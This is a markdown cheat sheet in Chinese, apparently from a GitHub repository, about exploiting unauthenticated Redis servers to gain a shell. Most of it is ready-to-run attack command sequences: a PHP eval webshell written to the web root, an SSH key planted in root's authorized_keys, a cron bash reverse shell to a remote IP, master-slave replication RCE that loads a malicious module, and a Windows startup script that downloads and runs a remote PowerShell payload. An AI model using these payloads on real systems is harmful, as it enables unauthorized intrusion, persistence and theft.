Skip to content

Latest commit

 

History

History
154 lines (86 loc) · 2.76 KB

redis.md

File metadata and controls

154 lines (86 loc) · 2.76 KB

Redis

更新时间:2021.9.28

老鸟速查笔记,新手建议直接读文末引用。

GetShell

写webshell

  • 已知web的绝对路径

  • 对应目录具有读写权限

redis-cli -h 192.168.1.154
config set dir /var/www/html 
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n" 
config set dbfilename webshell.php 
save

写入ssh公钥getshell

  • redis服务为root权限
  • 允许密钥登录
  • linux
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxssh "\n\nssh-rsa xxxxxx\n\n"
save

计划任务反弹shell

  • redis服务为root权限启动
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n"
save

tips:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行 crontab -u root /var/spool/cron/crontabs/root 通过语法检查后,才能执行计划任务。

主从rce

  • redis服务为root权限启动
  • redis 4.x/5.x

本质上就是加载一个so文件,用来执行命令。和udf差不多。如果本身就可以上传文件的情况下,直接上传so文件加载即可,不用利用主从。主从的意思就是把当前redis设置为备份库,等着把恶意的远程db备份过来,进行加载。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

开启恶意redis

git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

redis加载远程exp.so命令执行

#设置redis的备份路径为当前目录
    config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 192.168.172.129 21000  
#加载恶意模块
    module load ./exp.so
#切断主从,关闭复制功能
    slaveof no one 
#执行系统命令
    system.exec 'whoami'
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

还可以写无损文件

https://github.com/r35tart/RedisWriteFile

还可以主从复制覆写shadow

windows系统主从利用

  • 需要启动项目录的写入权限
  • 服务器需要重启
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n"
save

Other

References